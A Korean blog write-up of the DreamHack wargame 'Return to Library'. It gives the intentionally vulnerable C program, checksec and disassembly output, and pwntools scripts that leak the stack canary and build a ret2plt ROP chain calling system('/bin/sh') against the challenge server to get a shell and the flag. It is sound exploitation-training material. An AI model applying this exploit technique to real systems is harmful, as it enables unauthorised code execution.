rsp-∞
[DreamHack] Return to Library 본문
Return to Library는 공격자들로 하여금 실행 권한이 있는 영역의 주소를 반환시키는 공격 기법을 구현하게 한다. 이전에 드림핵에서 강의한 NX로 인해 셸 코드의 실행은 어려우나, 공격자들에게는 코드 영역과 라이브러리 영역에 대한 실행 권한이 남아 있다. 라이브러리는 여러 함수의 집합이므로 공격자의 입장에서는 당연히 코드 영역보다 라이브러리 영역에 집중할 수밖에 없는데, 카나리처럼 이 라이브러리 안에 있는 함수로 NX를 우회하고 셸을 획득하는 방법을 고안해 내고 그 이름을 Return to Library, 이하 RTL이라고 했다.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
워게임에 첨부된 문제의 c 파일이다. 취약점은 위 함수를 실행할 공격자가 직접 버퍼의 크기를 지정할 수 있다는 점과 입력값의 크기를 검증하지 않고 받는 printf와 read 등의 함수이다. 버퍼의 크기가 30으로 지정되어 있으나 read 함수가 100의 크기만큼 값을 읽어 올 수 있으므로 버퍼 오버플로우를 노려 볼 수 있다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
checksec을 통해 적용되어 있는 보호 기법을 확인한다. NX과 카나리가 활성화되어 있으나, PIE가 적용되어 있지 않다. 코드 세그먼트와 데이터 세그먼트, PLT의 주소가 고정됨을 알 수 있다.
해당 파일의 8번째 줄을 /bin/sh를 코드에 추가한다. 그리고 17번째 줄은 PLT에 system을 추가하기 위해 작성된 코드이다. PLT는 라이브러리 함수를 참조하는 데 사용되는데, 함수의 주소가 resolve되지 않았을 때 주소를 구하고 실행하는 코드가 적혀 있다. 즉 PLT에 어떤 라이브러리 함수가 있는 경우, PLT 엔트리를 실행함으로써 함수를 실행할 수 있다. 앞서 언급한 PIE가 적용되어 있지 않아 PLT의 주소가 고정된다는 것은 라이브러리의 베이스 주소를 몰라도 실행이 가능하다는 뜻이다. 이러한 방식으로 라이브러리 함수를 실행시키는 방식이 Return to PLT이다. 위 코드의 20번째 줄부터는 이전에 배웠던 카나리를 우회하는 코드가 구현되어 있다.
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x40087c
0x000000000040074f <+88>: mov eax,0x0
0x0000000000400754 <+93>: call 0x4005d0 <system@plt>
0x0000000000400759 <+98>: mov edi,0x40088d
0x000000000040075e <+103>: call 0x4005b0 <puts@plt>
0x0000000000400763 <+108>: mov edi,0x40089d
0x0000000000400768 <+113>: mov eax,0x0
0x000000000040076d <+118>: call 0x4005e0 <printf@plt>
0x0000000000400772 <+123>: lea rax,[rbp-0x40]
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,[rbp-0x40]
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt>
0x000000000040079e <+167>: mov edi,0x4008ac
0x00000000004007a3 <+172>: call 0x4005b0 <puts@plt>
0x00000000004007a8 <+177>: mov edi,0x40089d
0x00000000004007ad <+182>: mov eax,0x0
0x00000000004007b2 <+187>: call 0x4005e0 <printf@plt>
0x00000000004007b7 <+192>: lea rax,[rbp-0x40]
0x00000000004007bb <+196>: mov edx,0x100
0x00000000004007c0 <+201>: mov rsi,rax
0x00000000004007c3 <+204>: mov edi,0x0
0x00000000004007c8 <+209>: call 0x4005f0 <read@plt>
0x00000000004007cd <+214>: mov eax,0x0
0x00000000004007d2 <+219>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d6 <+223>: xor rcx,QWORD PTR fs:0x28
0x00000000004007df <+232>: je 0x4007e6 <main+239>
0x00000000004007e1 <+234>: call 0x4005c0 <__stack_chk_fail@plt>
0x00000000004007e6 <+239>: leave
0x00000000004007e7 <+240>: ret
End of assembler dump.
main을 디스어셈블한 결과이다. 여기서 스택 구조를 그려 보면 buf[0x30]의 크기가 48, 그 밑으로 dummy, 카나리, RBP, RET가 각각 8바이트씩의 크기로 스택을 구성함을 알 수 있다. 그러면 버퍼에서 카나리의 값을 덮어 씌우기 위해서는 48+8+1, 즉 57바이트를 임의의 값으로 채우면 된다.
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process("./rtl")
e = ELF("./rtl")
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
카나리를 우회하는 코드를 작성하고 실행시킨다.
$ python3 rlt_canary.py
[+] Starting local process './rtl': pid 3823
[*] '/home/chaehyeonkim/Downloads/b910a354-7cbc-4869-b859-7056ee998f87/rtl'
[+] Canary: 0xfb8161b6a4c70e00
[*] Stopped process './rtl' (pid 3823)
(파일 이름을 rtl이라고 안 하고 rlt라고 해 버렸다.) 카나리 값을 출력했다. 이제 RTL 방식을 사용해서 익스플로잇을 하면 카나리와 NX를 모두 우회하여 셸을 획득할 수 있을 것이다.
앞서 PIE가 적용되어 있지 않아 코드와 데이터 세그먼트, PLT 값까지 모두 고정되어 있음을 언급했다. 여기서는 마찬가지로 /bin/sh의 주소와 PLT의 주소를 알 수 있다. Return Address Overwrite에서 system(“/bin/sh”)을 호출하면 셸을 획득할 수 있다고 했는데, x64 체제에서는 rdi의 값이 /bin/sh일 때 system 함수를 호출한다. 그러므로 우리는 /bin/sh의 값을 rdi에 집어넣으면 되는데, 여기서 리턴 가젯이 필요하다.
$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret
Unique gadgets found: 1
나는 옵션을 사용하여 찾고 싶었던 부분의 가젯만 출력하였다.
from pwn import *
p = remotㄷ("host3.dreamhack.games", 14070)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)
def slog(name, addr): return success(': '.join([name, hex(addr)]))
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
전체 익스플로잇 코드로 카나리와 NX를 우회하고 있다. pop_rdi에서 가젯의 값을 rdi에 집어넣은 것을 볼 수 있다.
$ python3 rtl.py
[+] Opening connection to host3.dreamhack.games on port 14070: Done
[*] Loaded 14 cached gadgets for './rtl'
[+] canary: 0x6614f009bcfc2d00
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}
셸을 획득하여 플래그를 얻었다.
'Write-ups > system' 카테고리의 다른 글
[DreamHack] rop (0) | 2024.05.25 |
---|---|
[DreamHack] ssp_001 (0) | 2024.05.18 |
[DreamHack] Mitigation : Stack Canary - 카나리 생성 과정 (0) | 2024.05.18 |
[DreamHack] Mitigation : Stack Canary - canary.c 실습 동적 분석 (0) | 2024.05.18 |
[Bomb Lab] Phase_4 (0) | 2024.05.12 |